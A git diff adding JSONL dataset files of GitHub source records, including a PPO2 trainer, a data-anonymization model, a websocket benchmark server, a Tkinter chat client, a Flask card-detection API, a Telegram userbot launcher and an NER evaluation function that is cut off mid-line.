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sha256:5218b695d84478f384362b9c6ba5e73cecb0824d00e4e29cffce24ccdfd66794 +size 55895987 diff --git a/1326.jsonl b/1326.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..1f8049dddc5a9bd597fb72e37d38e6f84a465a66 --- /dev/null +++ b/1326.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:024fb9f62f69303c3ea894ac1b17756438d649a91c857226be84732f04a15ea5 +size 53172467 diff --git a/3462.jsonl b/3462.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/3463.jsonl b/3463.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/3465.jsonl b/3465.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..999e55601ddf578ea61e95c25211dca35f82cd07 --- /dev/null +++ b/3465.jsonl @@ -0,0 +1,995 @@ +{"seq_id":"36170038088","text":"import math\nimport os\nimport os.path as osp\nimport time\nfrom collections import deque\n\nimport joblib\nimport numpy as np\n# noinspection PyPackageRequirements\nimport tensorflow as tf\n\nfrom agents.common import get_throttle\nfrom sim.action import Action\nfrom vendor.openai.baselines import logger\n\nfrom vendor.openai.baselines.common.math_util import explained_variance\n\nimport config as c\n\nTF_VAR_SCOPE = 'ppo2model'\n\n\nclass Model(object):\n def __init__(self, *, policy, ob_space, ac_space, nbatch_act, nbatch_train,\n nsteps, ent_coef, vf_coef, max_grad_norm, **kwargs):\n sess = tf.get_default_session()\n\n act_model = policy(sess, ob_space, ac_space, nbatch_act, 1, reuse=False, **kwargs)\n train_model = policy(sess, ob_space, ac_space, nbatch_train, nsteps, reuse=True, **kwargs)\n\n A = train_model.pdtype.sample_placeholder([None])\n ADV = tf.placeholder(tf.float32, [None])\n R = tf.placeholder(tf.float32, [None])\n OLDNEGLOGPAC = tf.placeholder(tf.float32, [None])\n OLDVPRED = tf.placeholder(tf.float32, [None])\n LR = tf.placeholder(tf.float32, [])\n CLIPRANGE = tf.placeholder(tf.float32, [])\n\n neglogpac = train_model.pd.neglogp(A)\n entropy = tf.reduce_mean(train_model.pd.entropy())\n\n vpred = train_model.vf\n vpredclipped = OLDVPRED + tf.clip_by_value(train_model.vf - OLDVPRED, - CLIPRANGE, CLIPRANGE)\n vf_losses1 = tf.square(vpred - R)\n vf_losses2 = tf.square(vpredclipped - R)\n vf_loss = .5 * tf.reduce_mean(tf.maximum(vf_losses1, vf_losses2))\n ratio = tf.exp(OLDNEGLOGPAC - neglogpac)\n pg_losses = -ADV * ratio\n pg_losses2 = -ADV * tf.clip_by_value(ratio, 1.0 - CLIPRANGE, 1.0 + CLIPRANGE)\n pg_loss = tf.reduce_mean(tf.maximum(pg_losses, pg_losses2))\n approxkl = .5 * tf.reduce_mean(tf.square(neglogpac - OLDNEGLOGPAC))\n clipfrac = tf.reduce_mean(tf.to_float(tf.greater(tf.abs(ratio - 1.0), CLIPRANGE)))\n loss = pg_loss - entropy * ent_coef + vf_loss * vf_coef\n with tf.variable_scope(TF_VAR_SCOPE):\n params = tf.trainable_variables()\n grads = tf.gradients(loss, params)\n if max_grad_norm is not None:\n grads, _grad_norm = tf.clip_by_global_norm(grads, max_grad_norm)\n grads = list(zip(grads, params))\n trainer = tf.train.AdamOptimizer(learning_rate=LR, epsilon=1e-5)\n _train = trainer.apply_gradients(grads)\n\n def train(lr, cliprange, obs, returns, masks, actions, values, neglogpacs, states=None):\n advs = returns - values\n if len(advs) > 1:\n advs = (advs - advs.mean()) / (advs.std() + 1e-8)\n for _adv in advs:\n if math.isnan(_adv):\n print('huh oh nan time')\n td_map = {train_model.X:obs, A:actions, ADV:advs, R:returns, LR:lr,\n CLIPRANGE:cliprange, OLDNEGLOGPAC:neglogpacs, OLDVPRED:values}\n if states is not None:\n td_map[train_model.S] = states\n td_map[train_model.M] = masks\n # print('running backprop')\n ret = sess.run(\n [pg_loss, vf_loss, entropy, approxkl, clipfrac, _train],\n td_map\n )[:-1]\n return ret\n self.loss_names = ['policy_loss', 'value_loss', 'policy_entropy', 'approxkl', 'clipfrac']\n\n def save(save_path):\n print('saving model to %s' % save_path)\n ps = sess.run(params)\n joblib.dump(ps, save_path)\n\n def load(load_path):\n print('loading weights from %s' % load_path)\n loaded_params = joblib.load(load_path)\n restores = []\n for p, loaded_p in zip(params, loaded_params):\n restores.append(p.assign(loaded_p))\n sess.run(restores)\n # If you want to load weights, also save/load observation scaling inside VecNormalize\n\n self.train = train\n self.train_model = train_model\n self.act_model = act_model\n self.step = act_model.step\n self.value = act_model.value\n self.initial_state = act_model.initial_state\n self.save = save\n self.load = load\n tf.global_variables_initializer().run(session=sess) #pylint: disable=E1101\n\n\ndef mis(action_probs, rewards):\n \"\"\" Mistake importance scaling\n It seems that taking the log probability in Policy Gradient reverses the amount of learning you would want for\n negative rewards. i.e. We learn much more from unlikely bad actions, than we do likely ones. Whereas this is what\n we want for positive rewards - to learn more from unlikely good actions, we would want the opposite for negative\n rewards - learn more from likely bad actions because our goal is for bad actions and states to be unlikely.\n I've tested these ideas a bit in baselines and the results seem to be good.\n Although I'm sort of duct-taping on the idea by scaling negative rewards inversely to their odds to reverse\n the effect of taking the log. I also notice that DQN, which does not scale the gradient by log likelihood,\n does better than PG methods on Atari games with mostly negative rewards, i.e. DoubleDunk, ice hockey, and surround,\n with skiing being an exception to this rule - but the score for skiing is weird.\"\"\"\n mis_rewards = []\n for i, reward in enumerate(rewards):\n if 'SCALE_ALL_REWARDS' in os.environ:\n mis_rewards.append(reward * 1.8) # Works (in pong), but not as well as scaling by odds\n else:\n if reward < 0:\n scale = 1 + action_probs[i] / (1 - action_probs[i])\n scale = min(scale, 3)\n mis_rewards.append(reward * scale)\n else:\n mis_rewards.append(reward)\n return mis_rewards\n\n\nclass Runner(object):\n\n def __init__(self, *, env, model, nsteps, gamma, lam):\n self.env = env\n self.model = model\n nenv = env.num_envs\n self.obs = np.zeros((nenv,) + env.observation_space.shape, dtype=model.train_model.X.dtype.name)\n self.obs[:] = env.reset()\n self.gamma = gamma\n self.lam = lam\n self.nsteps = nsteps\n self.states = model.initial_state\n self.dones = [False for _ in range(nenv)]\n\n def run(self):\n mb_obs, mb_rewards, mb_actions, mb_values, mb_dones, mb_neglogpacs = [],[],[],[],[],[]\n mb_states = self.states\n epinfos = []\n for _ in range(self.nsteps):\n actions, values, self.states, neglogpacs, action_probs = self.model.step(self.obs, self.states, self.dones)\n\n mb_obs.append(self.obs.copy())\n mb_actions.append(actions)\n mb_values.append(values)\n mb_neglogpacs.append(neglogpacs)\n mb_dones.append(self.dones)\n\n self.obs[:], rewards, self.dones, infos = self.env.step(actions)\n\n rewards = mis(action_probs, rewards)\n\n for info in infos:\n maybe_episode_info = info.get('episode') if info else None\n if maybe_episode_info: epinfos.append(maybe_episode_info)\n\n mb_rewards.append(rewards)\n #batch of steps to batch of rollouts\n mb_obs = np.asarray(mb_obs, dtype=self.obs.dtype)\n mb_rewards = np.asarray(mb_rewards, dtype=np.float32)\n mb_actions = np.asarray(mb_actions)\n mb_values = np.asarray(mb_values, dtype=np.float32)\n mb_neglogpacs = np.asarray(mb_neglogpacs, dtype=np.float32)\n mb_dones = np.asarray(mb_dones, dtype=np.bool)\n last_values = self.model.value(self.obs, self.states, self.dones)\n #discount/bootstrap off value fn\n mb_returns = np.zeros_like(mb_rewards)\n mb_advs = np.zeros_like(mb_rewards)\n lastgaelam = 0\n for t in reversed(range(self.nsteps)):\n if t == self.nsteps - 1:\n nextnonterminal = 1.0 - self.dones\n nextvalues = last_values\n else:\n nextnonterminal = 1.0 - mb_dones[t+1]\n nextvalues = mb_values[t+1]\n delta = mb_rewards[t] + self.gamma * nextvalues * nextnonterminal - mb_values[t]\n mb_advs[t] = lastgaelam = delta + self.gamma * self.lam * nextnonterminal * lastgaelam\n mb_returns = mb_advs + mb_values\n\n # TODO(py27): Python versions < 3.5 do not support starred expressions in tuples, lists, and sets\n return (*map(sf01, (mb_obs, mb_returns, mb_dones, mb_actions, mb_values, mb_neglogpacs)),\n mb_states, epinfos)\n\n def process_actions(self, actions):\n action = Action.from_gym(actions)\n action.throttle = get_throttle(actual_speed=self.obs['speed'], target_speed=(8 * 100))\n actions = action.as_gym()\n return actions\n\n\n# obs, returns, masks, actions, values, neglogpacs, states = runner.run()\n\n\ndef sf01(arr):\n \"\"\"\n swap and then flatten axes 0 and 1\n \"\"\"\n s = arr.shape\n return arr.swapaxes(0, 1).reshape(s[0] * s[1], *s[2:])\n\n\ndef constfn(val):\n def f(_):\n return val\n return f\n\n\ndef learn(*, policy, env, nsteps, total_timesteps, ent_coef, lr,\n vf_coef=0.5, max_grad_norm=0.5, gamma=0.99, lam=0.95,\n log_interval=10, nminibatches=4, noptepochs=4, cliprange=0.2,\n save_interval=0, eval_only=False, **kwargs):\n\n if isinstance(lr, float): lr = constfn(lr)\n else: assert callable(lr)\n if isinstance(cliprange, float): cliprange = constfn(cliprange)\n else: assert callable(cliprange)\n total_timesteps = int(total_timesteps)\n\n nenvs = env.num_envs\n ob_space = env.observation_space\n\n ac_space = env.action_space\n nbatch = nenvs * nsteps\n\n if nenvs < nminibatches and 'lstm' in policy.__name__.lower():\n # We aren't running enough environments to split our observations across\n nbatch_train = nbatch\n else:\n nbatch_train = nbatch // nminibatches\n\n make_model = lambda : Model(policy=policy, ob_space=ob_space, ac_space=ac_space, nbatch_act=nenvs, nbatch_train=nbatch_train,\n nsteps=nsteps, ent_coef=ent_coef, vf_coef=vf_coef,\n max_grad_norm=max_grad_norm, **kwargs)\n if save_interval and logger.get_dir():\n import cloudpickle\n with open(osp.join(logger.get_dir(), 'make_model.pkl'), 'wb') as fh:\n fh.write(cloudpickle.dumps(make_model))\n model = make_model()\n if c.PPO_RESUME_PATH is not None:\n model.load(c.PPO_RESUME_PATH)\n\n runner = Runner(env=env, model=model, nsteps=nsteps, gamma=gamma, lam=lam)\n\n epinfobuf = deque(maxlen=100)\n tfirststart = time.time()\n\n nupdates = total_timesteps//nbatch\n for update in range(1, nupdates + 1):\n assert nbatch % nminibatches == 0\n nbatch_train = nbatch // nminibatches\n tstart = time.time()\n frac = 1.0 - (update - 1.0) / nupdates\n lrnow = lr(frac)\n cliprangenow = cliprange(frac)\n\n obs, returns, masks, actions, values, neglogpacs, states, epinfos = runner.run() #pylint: disable=E0632\n\n if eval_only:\n continue\n\n epinfobuf.extend(epinfos)\n mblossvals = []\n if states is None: # nonrecurrent version\n inds = np.arange(nbatch)\n for _ in range(noptepochs):\n np.random.shuffle(inds)\n for start in range(0, nbatch, nbatch_train):\n end = start + nbatch_train\n minibatch_indxs = inds[start:end]\n slices = (arr[minibatch_indxs] for arr in (obs, returns, masks, actions, values, neglogpacs))\n mblossvals.append(model.train(lrnow, cliprangenow, *slices))\n else: # recurrent version\n # assert nenvs % nminibatches == 0\n # envsperbatch = nenvs // nminibatches\n envinds = np.arange(nenvs)\n flatinds = np.arange(nenvs * nsteps).reshape(nenvs, nsteps)\n envsperbatch = nbatch_train // nsteps # ((nevns * nsteps) // nminibatches) // nsteps\n envsperbatch = max(envsperbatch, 1)\n for _ in range(noptepochs):\n np.random.shuffle(envinds)\n for start in range(0, nenvs, envsperbatch):\n end = start + envsperbatch\n mbenvinds = envinds[start:end]\n mbflatinds = flatinds[mbenvinds].ravel()\n slices = (arr[mbflatinds] for arr in (obs, returns, masks, actions, values, neglogpacs))\n mbstates = states[mbenvinds]\n\n # TODO(py27): Python versions < 3.5 do not allow positional arguments after *expression\n mblossvals.append(model.train(lrnow, cliprangenow, *slices, mbstates))\n\n lossvals = np.mean(mblossvals, axis=0)\n tnow = time.time()\n fps = int(nbatch / (tnow - tstart))\n if update % log_interval == 0 or update == 1:\n ev = explained_variance(values, returns)\n logger.logkv(\"serial_timesteps\", update * nsteps)\n logger.logkv(\"nupdates\", update)\n logger.logkv(\"total_timesteps\", update * nbatch)\n logger.logkv(\"fps\", fps)\n logger.logkv(\"explained_variance\", float(ev))\n logger.logkv('eprewmean', safemean([epinfo['reward'] for epinfo in epinfobuf]))\n logger.logkv('eplenmean', safemean([epinfo['length'] for epinfo in epinfobuf]))\n logger.logkv('time_elapsed', tnow - tfirststart)\n for (lossval, lossname) in zip(lossvals, model.loss_names):\n logger.logkv(lossname, lossval)\n logger.dumpkvs()\n # input('continue?')\n if save_interval and (update % save_interval == 0 or update == 1) and logger.get_dir():\n checkdir = osp.join(logger.get_dir(), 'checkpoints')\n os.makedirs(checkdir, exist_ok=True)\n savepath = osp.join(checkdir, '%.5i'%update)\n print('Saving to', savepath)\n model.save(savepath)\n env.close()\n\n\ndef safemean(xs):\n return np.nan if len(xs) == 0 else np.mean(xs)\n","repo_name":"deepdrive/deepdrive","sub_path":"vendor/openai/baselines/ppo2/ppo2.py","file_name":"ppo2.py","file_ext":"py","file_size_in_byte":14112,"program_lang":"python","lang":"en","doc_type":"code","stars":862,"dataset":"github-code","pt":"82"} +{"seq_id":"38186946374","text":"import numpy as np\n\n\nclass Tuple:\n id = 0\n\n def __init__(self, pid=0, offset=0, qid_atts=None):\n self.pid = Tuple.id\n Tuple.id += 1\n if qid_atts is None:\n qid_atts = {}\n self.qidAtts = qid_atts\n self.pid = pid\n self.offset = offset\n\n def __str__(self):\n return str(self.pid)\n\n\nclass Cluster:\n\n \"\"\"\n tuples: list\n list of tuples in the cluster: [t1, t2, ...]\n genAtts: dict\n dictionary with minimum and maximum of each pid in Cluster that will be used in calculation of Tau.\n The key is the attribute's name, and the value is a a tuple (min, max) containing the minimum and maximum values\n in the cluster -> {att_name: (min, max)}.\n \"\"\"\n\n id = 0\n\n def __init__(self, tuple_):\n self.id = Cluster.id\n Cluster.id += 1\n self.tuples = [tuple_]\n self.genAtts = {}\n # Transforming {key, value} in {key, (value, value)}\n for key, value in tuple_.qidAtts.items():\n self.genAtts[key] = (value, value)\n\n # add tuple to [tuples] and update min max in each attribute in genAtts\n def add_tuple(self, tuple_):\n \"\"\"\n Adds a new tuple in the cluster and then calls put_values(tuple_.qidAtts).\n\n :param tuple_: new tuple\n \"\"\"\n self.tuples.append(tuple_)\n self.put_values(tuple_.qidAtts)\n\n def put_values(self, qids):\n \"\"\"\n Updates the genAtts list, i.e. the (min, max) of each attribute.\n :param qids: Attributes of a new tuple used to update genAtts.\n \"\"\"\n for key in qids.keys():\n # if key in qidAtts, check if value < minimum or value > maximum.\n if key in self.genAtts:\n minimum, maximum = self.genAtts[key]\n\n if qids[key] < minimum:\n minimum = qids[key]\n elif qids[key] > maximum:\n maximum = qids[key]\n self.genAtts[key] = (minimum, maximum)\n else:\n self.genAtts[key] = (qids[key], qids[key])\n\n def centroid(self):\n \"\"\"\n Calculates the cluster's centroid as the average of each attribute.\n\n :return: average of attributes from tuples in cluster.\n \"\"\"\n sum_att = np.zeros(len(self.genAtts))\n for tuple_ in self.tuples:\n\n for i, att in enumerate(tuple_.qidAtts.values()):\n sum_att[i] += att\n\n mean_atts = sum_att/len(self.tuples)\n return mean_atts\n\n def __len__(self):\n \"\"\"\n :return: number of tuples in the cluster.\n \"\"\"\n return len(self.tuples)\n\n\n# Setting min and max from all pids in all stream\nclass QidAttsDomain:\n \"\"\"\n qidAtts: dict\n dictionary with minimum and maximum of each element in the stream so far that will be used in calculation of Tau\n The key is the attribute's name, and the value is a tuple (min, max) containing the minimum and maximum values\n -> {att_name: (min, max)}.\n \"\"\"\n def __init__(self, qid_atts={}):\n self.qidAtts = {}\n # Transforming {key, value} in {key, (value, value)}\n for key, value in qid_atts.items():\n self.qidAtts[key] = (value, value)\n\n # consider qid = {qid,value}\n def put_values(self, qids):\n \"\"\"\n Updates the genAtts list, i.e. the (min, max) of each attribute.\n :param qids: Attributes of a new tuple used to update genAtts.\n \"\"\"\n for key in qids.keys():\n # if key in qidAtts, check if value < minimum or value > maximum.\n\n if key in self.qidAtts:\n minimum, maximum = self.qidAtts[key]\n if qids[key] < minimum:\n minimum = qids[key]\n elif qids[key] > maximum:\n maximum = qids[key]\n\n self.qidAtts[key] = (minimum, maximum)\n else:\n self.qidAtts[key] = (qids[key], qids[key])\n\n\nclass Tau:\n \"\"\"\n Keeps track of the last mi cluster published, and calculates the average of their info_loss.\n \"\"\"\n def __init__(self, mi=0, value=0):\n \"\"\"\n :param mi: number of published clusters to be used to calculate Tau\n :param value: the info_loss average of the last mi published clusters\n \"\"\"\n self.value = value\n self.last_clusters_info_loss = []\n self.mi = mi\n\n def update(self, cluster_info_loss):\n \"\"\"\n Updates tau value.\n\n :param cluster_info_loss: info loss from last published cluster\n \"\"\"\n\n if len(self.last_clusters_info_loss) < self.mi:\n self.last_clusters_info_loss.append(cluster_info_loss)\n # if anonymizedClusters size is >= mi, should pop the oldest one before adding\n else:\n self.last_clusters_info_loss.pop(0)\n self.last_clusters_info_loss.append(cluster_info_loss)\n\n self.value = sum(self.last_clusters_info_loss) / len(self.last_clusters_info_loss)\n\n\n\n","repo_name":"israelcvidal/doca","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18799979014","text":"import asyncio\nimport logging\n\nimport websockets\n\n\nasync def server_main(websocket, path):\n logging.info(f'server_main, path:{path}')\n while True:\n rx_msg = await websocket.recv()\n logging.info(f'< {rx_msg}')\n\n if rx_msg.startswith('start_bm'):\n tokens = rx_msg.split()\n assert len(tokens) == 3\n\n size = int(tokens[1])\n cnt = int(tokens[2])\n logging.info(f'size:{size}, cnt:{cnt}')\n tx_msg = 'a' * size\n for i in range(cnt):\n await websocket.send(tx_msg)\n await websocket.send(f'end_bm')\n else:\n tx_msg = f'echo {rx_msg!r}'\n await websocket.send(tx_msg)\n logging.info(f'> {tx_msg}')\n\nif __name__ == '__main__':\n # debug\n LOG_FORMAT = '%(pathname)s:%(lineno)03d | %(asctime)s | %(levelname)s | %(message)s'\n # LOG_LEVEL = logging.DEBUG # DEBUG(10), INFO(20), (0~50)\n LOG_LEVEL = logging.INFO # DEBUG(10), INFO(20), (0~50)\n\n logging.basicConfig(format=LOG_FORMAT, level=LOG_LEVEL)\n\n start_server = websockets.serve(server_main, \"localhost\", 8080)\n asyncio.get_event_loop().run_until_complete(start_server)\n asyncio.get_event_loop().run_forever()\n\n","repo_name":"nhlsm/websocket_benchmark","sub_path":"w41_1_python_websocket_server.py","file_name":"w41_1_python_websocket_server.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24664343104","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 22 18:13:24 2017\n\n@author: andraa\n\"\"\"\nimport datetime\nimport pandas as pd\nfrom os.path import isfile, join\nfrom os import listdir\n \n\nfolder = '/media/andraa/10160545101605452/kaggle/WSDM-kaggle/data/intermediate_data/user_log_merge'\n\nmerge_file = '/media/andraa/10160545101605452/kaggle/WSDM-kaggle/data/intermediate_data/user_log_members.csv'\n\n\nfiles = [f for f in listdir(folder) if isfile(join(folder, f))]\nf_out = open(merge_file, 'w')\nf_init = open(join(folder, files[0]))\n\nprint(files[0])\nfor l in f_init.readlines():\n f_out.write(l)\n\nfor f_in in files[1:]:\n print(f_in)\n for l in open(join(folder, f_in)).readlines()[1:]:\n f_out.write(l)\n\n\nf_out.close()","repo_name":"AndraAnoaica/kaggle_music","sub_path":"merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39538017537","text":"from base64 import encode\nimport socket\nimport threading\nimport tkinter\nimport tkinter.scrolledtext\nfrom tkinter import simpledialog\n\n# It needs to match the server port\nHOST = '127.0.0.1' \nPORT = 9090\n\n''' You can also use your public IP address to host on the web instead locally\n The user will have to specify the public IP address in order to connect\n Need to open ports on the server side as well\n'''\n\n# Creating a client that has a socket that connects with host and port\nclass Client:\n\n def __init__(self, host, port):\n\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.connect((host, port))\n\n msg = tkinter.TK()\n msg.withdraw()\n\n # Getting nickname from the user\n self.nickname = simpledialog.askstring(\"Nickname\", \"Please choose a nickname\", parent=msg)\n\n self.gui_done = False\n self.running = True\n\n # Threads to build the GUI and maintains the GUI and connects to the server\n gui_thread = threading.Thread(target=self.gui_loop)\n receive_thread = threading.Thread(target=self.receive)\n\n gui_thread.start()\n receive_thread.start()\n\n # Build the GUI\n def gui_loop(self):\n self.win = tkinter.Tk()\n self.win.configure(bg=\"lightgray\")\n\n self.chat_label = tkinter.Label(self.win, text=\"Chat:\", bg=\"lightgray\")\n self.chat_label.config(font=(\"Arial\", 12))\n self.chat_label.pack(padx=20, pady=5)\n\n self.text_area = tkinter.scrolledtext.ScrolledText(self.win)\n self.text_area.pack(padx=20, pady=5)\n\n # Disabled means the content cannot be changed. To change it, revert it to enabled make \n # the changes and revert back to disabled.\n self.text_area.config(state='disabled') \n\n self.msg_label = tkinter.Label(self.win, text=\"Message:\", bg=\"lightgray\")\n self.msg_label.config(font=(\"Arial\", 12))\n self.msg_label.pack(padx=20, pady=5)\n\n self.input_area = tkinter.Text(self.win, height=3)\n self.input_area.pack(padx=20, pady=5)\n\n self.send_button = tkinter.Button(self.win, text=\"Send, command=self.write\")\n self.send_button.config(font=(\"Arial\", 12))\n self.send_button.pack(padx=20, pady=5)\n\n self.gui_done = True\n\n self.win.protocol(\"WM_DELETE_WINDOW\", self.stop)\n\n self.win.mainloop()\n\n\n def write(self):\n message = f\"{self.nickname}: {self.input_area.get('1.0', 'end')}\"\n self.sock.send(message.encode('utf-8'))\n self.input_area.delete('1.0', 'end')\n\n\n def stop(self):\n self.running = False\n self.win.destroy()\n self.sock.close()\n exit(0)\n\n\n def receive(self):\n while self.running:\n try:\n message = self.sock.recv(1024).decode('utf-8')\n if message == 'NICK':\n self.sock.send(self.nickname.encode('utf-8'))\n\n else:\n if self.gui_done:\n self.text_area.config(state='normal')\n self.text_area.config('end', message)\n self.text_area.yview('end')\n self.text_area.config(state='disabled')\n except ConnectionAbortedError:\n break\n except:\n print('Error')\n self.sock.close()\n break\n\nclient = Client(HOST, PORT)\n","repo_name":"nicolasnkGH/Simple-GUI-Chat","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34939346944","text":"# -*- coding: utf-8 -*-\n\"\"\"\ncollection_list_requestor.py\n\nA time queue action to periodically request a list of collections\n\"\"\"\nimport logging\nimport os\nimport time\n\n_collection_polling_interval = float(os.environ.get(\n \"NIMBUSIO_ANTI_ENTROPY_COLLECTION_POLLING_INTERVAL\", \"86400.0\")\n)\n\nclass CollectionListRequestor(object):\n \"\"\"\n A time queue action to periodically request a list of collections\n \"\"\"\n def __init__(self, state):\n self._log = logging.getLogger(\"CollectionListRequestor\")\n self._state = state\n\n @classmethod\n def next_run(cls):\n return time.time() + _collection_polling_interval\n\n def run(self, halt_event):\n \"\"\"\n request a list of collection ids from the local database\n \"\"\"\n if halt_event.is_set():\n self._log.info(\"halt-event is set, exiting\")\n return\n\n collection_id_generator = \\\n self._state[\"central-database-connection\"].generate_all_rows(\n \"\"\"\n select id \n from nimbusio_central.collection\n where deletion_time is null\n \"\"\"\n )\n for (collection_id, ) in collection_id_generator:\n self._state[\"collection-ids\"].add(collection_id)\n\n self._log.info(\"%s known collection ids\" % (\n len(self._state[\"collection-ids\"]), \n ))\n \n return [(self.run, self.next_run(), )]\n\n","repo_name":"jocelyn-monitor/nimbus.io","sub_path":"anti_entropy_server/collection_list_requestor.py","file_name":"collection_list_requestor.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"35268882624","text":"from flask import Flask, request, jsonify, render_template\nimport os\nfrom flask_cors import CORS, cross_origin\nfrom datetime import datetime\n\nfrom services.card_detector.application.ai.inference.prediction import CardsDetector\nfrom services.card_detector.application.ai.utils.utils import decodeImage\n\nos.putenv('LANG', 'en_US.UTF-8')\nos.putenv('LC_ALL', 'en_US.UTF-8')\n\napp = Flask(__name__)\nCORS(app)\n\n\n@app.route(\"/\")\ndef home():\n return render_template(\"index.html\")\n\n\n@app.route(\"/predict\", methods=['POST'])\n@cross_origin()\ndef predictRoute():\n try:\n image = request.json['image']\n image_name = \"input_image_\" + str(datetime.now()).split(':')[-1] + \".jpg\"\n cards_detector.settings.logger.info(\"Received Post Request for inference--!!\")\n decodeImage(image, image_name, cards_detector.settings.INPUT_IMAGE_PATH)\n cards_detector.settings.logger.info(\n \"Image stored in directory -- \" + cards_detector.settings.INPUT_IMAGE_PATH + \"--with image name--\" + str(\n image_name))\n result = cards_detector.predict(cards_detector.settings.INPUT_IMAGE_PATH + image_name)\n return jsonify(result)\n except BaseException as ex:\n cards_detector.settings.logger.error(\"Following Error occurred while inference---!!\", str(ex))\n return jsonify(str(ex))\n\n\nif __name__ == \"__main__\":\n cards_detector = CardsDetector()\n port = 9000\n app.run(host='127.0.0.1', port=port)\n","repo_name":"R-aryan/Cards_Detection_Using_FASTER-RCNN","sub_path":"services/card_detector/api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38690213007","text":"import importlib\nimport time\nfrom datetime import datetime\nimport asyncio\n#from asyncio import get_event_loop_policy\nfrom pyrogram import idle\nfrom uvloop import install\nfrom Ubotlibs import *\nfrom Ubot import BOTLOG_CHATID, aiosession, bots, app, ids, LOOP\nfrom platform import python_version as py\nfrom Ubot.logging import LOGGER\nfrom pyrogram import __version__ as pyro\nfrom Ubot.modules import ALL_MODULES\nfrom Ubotlibs import *\nfrom Ubot.core.db.activedb import *\nfrom Ubot.core.db.usersdb import *\nfrom config import SUPPORT, CHANNEL, CMD_HNDLR, ADMIN1_ID\nimport os\nfrom dotenv import load_dotenv\n\n\nMSG_BOT = \"\"\"\n╼┅━━━━━━━━━━╍━━━━━━━━━━┅╾\n• **Alive\n• **Phython**: `{}`\n• **Pyrogram**: `{}`\n• **Users**: `{}`\n╼┅━━━━━━━━━━╍━━━━━━━━━━┅╾\n\"\"\"\n\nMSG_ON = \"\"\"\n**pyRainger Actived ✅**\n╼┅━━━━━━━━━━╍━━━━━━━━━━┅╾\n• **Versi** : `{}`\n• **Phython** : `{}`\n• **Pyrogram** : `{}`\n• **Masa Aktif** : `{}`\n• **Akan Berakhir**: `{}`\n**Ketik** `{}alive` **untuk Mengecheck Bot**\n╼┅━━━━━━━━━━╍━━━━━━━━━━┅╾\n\"\"\"\n\nMSG = \"\"\"\n**Users**: `{}`\n**ID**: `{}`\n\"\"\"\n\n\nasync def main():\n await app.start()\n LOGGER(\"Ubot\").info(\"Memulai Ubot Pyro..\")\n for all_module in ALL_MODULES:\n importlib.import_module(\"Ubot.modules\" + all_module)\n for bot in bots:\n try:\n await bot.start()\n ex = await bot.get_me()\n user_id = ex.id\n await buat_log(bot)\n botlog_chat_id = await get_botlog(user_id)\n LOGGER(\"Info\").info(\"Startup Completed\")\n LOGGER(\"√\").info(f\"Started as {ex.first_name} | {ex.id} \")\n await join(bot)\n await bot.send_message(botlog_chat_id, MSG_ON.format(BOT_VER, py(), pyro))\n ids.append(ex.id)\n except Exception as e:\n LOGGER(\"X\").info(f\"{e}\")\n await idle()\n await aiosession.close()\n await app.stop()\n \n\nif __name__ == \"__main__\":\n LOGGER(\"Ubot\").info(\"Starting Ubot\")\n install()\n LOOP.run_until_complete(main())\n","repo_name":"RaingerXD/pyRaingerV1_heroku","sub_path":"Ubot/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73832773708","text":"def _eval(newSentences, label_map, args, eval_dataset):\n tag2Idx = {v: k for k, v in label_map.items()}\n trueEntityID, predEntityID = entityIDGeneration(newSentences)\n\n f1_record = []\n if args.determine_entity:\n labels = []\n preds = []\n for sent in newSentences:\n for token_info in sent:\n labels.append(token_info[1])\n preds.append(token_info[2])\n assert len(labels) == len(preds)\n p, r, f1 = compute_token_f1(labels, preds)\n f1_record.append(f1)\n print(\"Entity: Precision: {}, Recall: {}, F1: {}\".format(p, r, f1))\n else:\n if args.flag == 'ALL' or args.inference:\n flags = [f for f in tag2Idx.keys()][1:-2]\n for flag in flags:\n precision, recall, f1 = compute_precision_recall_f1(trueEntityID, predEntityID, flag, tag2Idx[flag])\n print(flag + \": Precision: {}, Recall: {}, F1: {}\".format(precision, recall, f1))\n overall_precision, overall_recall, overall_f1 = compute_overall_precision_recall_f1(trueEntityID, predEntityID, tag2Idx)\n f1_record.append(overall_f1)\n print(\"OVERALL: Precision: {}, Recall: {}, F1: {}\".format(overall_precision, overall_recall, overall_f1))\n else:\n p, r, f1 = compute_precision_recall_f1(trueEntityID, predEntityID, args.flag, 1)\n f1_record.append(f1)\n print(args.flag + \": Precision: {}, Recall: {}, F1: {} on {}\".format(p, r, f1, eval_dataset))\n\n return sum(f1_record)\n\n\ndef entityIDGeneration(sentences):\n sent_id = 0\n type_ = \"#\"\n flag = -1\n\n label_start_id = 0\n pred_start_id = 0\n\n true_entities = []\n pred_entities = []\n for sentence in sentences:\n # print(\"sentence\")\n # print(sentence)\n pre_label = \"O\"\n sent_true_entities = []\n sent_pred_entities = []\n for i, (word, label, pred) 